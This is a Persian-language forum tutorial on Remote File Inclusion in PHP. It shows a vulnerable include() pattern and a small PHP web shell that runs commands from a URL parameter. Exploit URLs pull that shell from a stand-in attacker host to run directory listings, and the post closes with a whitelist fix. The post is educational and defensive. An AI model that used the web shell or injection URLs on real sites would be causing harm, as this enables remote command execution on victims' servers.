سلام دوستان ببخشيد كه يه مدت نميومدم ! خدا رو شكر امروز يكم وقتم آزاد بود گفتم بيام و يك سري مطلب يه اين بخش اضافه كنم !
خب بريم سر اصل مطلب يعني آسيب پذيري فراخواني فايل هاي راه دور
Remote File Inclusion
اين نوع آسيب پذيري كه از ديگر انواع خود رايج ترهست جزء دستهء خيلي خطرناك طبقه بندي ميشه چون نفوذگر با استفاده از اين آسيب پذيري ميتونه دسترسي مستقيم به سرور و يا هاست شما داشته باشه و دستورات CMD رو مستقيماً اجرا كنه و يا فايل آپلود كنه پاك كنه يا ويرايش كنه و ...... البته بستگي به نحوه طبقه بندي سطح دسترسي فايل ها داره (پرميشن )كه بعداً در مورد نحوه پرميشن بندي صحيح فايل ها بحث خواهد شد !
اين آسيب پذيري مثله آسيب پذيري پيمايش دايركتوري از نحوه دادن آرگومان هاي ورودي به توابع اينكلود و .... به وجود مياد !
به اين مثال دقت كنيد !
- کد: انتخاب همه
<?
if (isset($page))
{
include($page);
}
?>
خب ممكنه يك كاربر معمولي با كليك كردن روي قسمت هاي مختلف سايت بدون توجه به URL ها به قسمت هاي مختلف سايت بره و به هدف خودش برسه
دقت كنيد :
- کد: انتخاب همه
http://www.example.com/?page=link.php
http://www.example.com/?page=galery.php
http://www.example.com/?page=contact.php
اما همون طور كه خودتون ميدونيد يك نفوذ گر فكري متفاوت داره و مياد با مقدار دهي اشتباه به متغيير Page به ارزيابي خطا ها بپردازه و متوجه اشتباه برنامه نويس در نحوه فراخواني بشه !
- کد: انتخاب همه
http://www.example.com/?page=test.php
Warning: main(test.php): failed to open stream: No such file or
directory in www\example.com\index.php on line 9
Warning: main(): Failed opening 'n0thing.php' for inclusion
(include_path='.;\php\pear\') in \www\example.com\index.php on line 9
با كمي دقت ميشه فهميد برنامه در فرا خواني صفحه اي كه وجود نداره دچار مشكل شده !
حالا ممكنه اين سوال پيش بيلد كه يك نفوذ گر چطوري ميتونه از اين خطا ها استفاده كنه و به هدف خودش برسه !
پس به كد ها ي زير دقت كنيد :
- کد: انتخاب همه
<?
if (isset($_GET['cmd']))
{
$cmd=$_GET['cmd'];
echo "<pre>";
system("$cmd");
echo "</pre>";
exit();
}
?>
دقت كنيد در اين صفحه با مقدار دهي به متغيير cmd ميتونيد فرامين خط فرمان رو اجرا كنيد ! خب حالا نفوذگر اين صفحه رو به عنوان يكي از صفحات وب سايت شما فراخوني ميكنه !
- کد: انتخاب همه
http://www.example.com/?page= www.attack.com/cmd
و اين مقدار به صورت زير فراخوني ميشه !
- کد: انتخاب همه
include(www.attack.com/cmd.php)
حالا بين اين صفحه و صفحه cmd تفاوتي نيست و با دادن دستور نفوذگر به هدف خودش ميرسه !
- کد: انتخاب همه
http://www.example.com/?page= www.attack.com/cmd?cmd=ls -al
http://www.example.com/?page= www.attack.com/cmd?cmd=dir+c:\
دقت كنيد كه تمامي فرامين بالا بر روي سرور شما اجرا ميشه نه سرور نفوذگر !
حالا اگه سرور قرباني به گونه اي تنظيم شده باشه كه كيوتيشن رو به همراه بك اسلش نمايش بده ميشه از تابع stripslashes استفاده كرد
- کد: انتخاب همه
<?
if (isset($_GET['cmd']))
{
$cmd=$_GET['cmd'];
echo "<pre>";
system(stripslashes($cmd))
echo "</pre>";
exit();
}
?>
گاهي هم ميشه از پسوند txt براي فراخواني استفاده كرد البته يك نفوذگر بيشتر اوقات از شلر ها استفاده ميكنه و بحث بالا مثالي براي اين بخش بود !
اين گونه آسيب پذيري ها محدود به تابع اينكلود نميشه و توابع ديگري چون
- کد: انتخاب همه
• Require()
• Require_once()
• Include_once()
• Include()
• Fopen()
• open()
• More …
ها هم ممكن هست باعث اين نوع آسيب پذيري بشن !
نحوه جلوگيري از اين آسيب پذيري مثل آسيب پذيري پيمايش دايركتوري هست و با تعريف يك آرايه و بررسي مقدار موجود در آن و با قرار دادن register global بصورت خاموش ميشه اين نوع حملات رو محدود تر كرد !
<?
$pages = array('index.php', 'link.php', 'galery.php', 'contact.php');
if (isset($page))
{
if (in_array($page,$pages)){
include($page);
}else{
die "Security error:Remote File Inclusion Vulnerability Protection"
}}
?>
نكته : هميشه سعي كنيد از متغيير ها براي فراخواني فايل ها استفاده نكنيد و اگه مجبور به اين كار شديد تمهيدات امنيتي رو فراموش نكنين !
خب اين مبحث تموم شد بحث بعدي ما در مورد حملات اجراي فرامين هست كه با ما همراه باشين ....
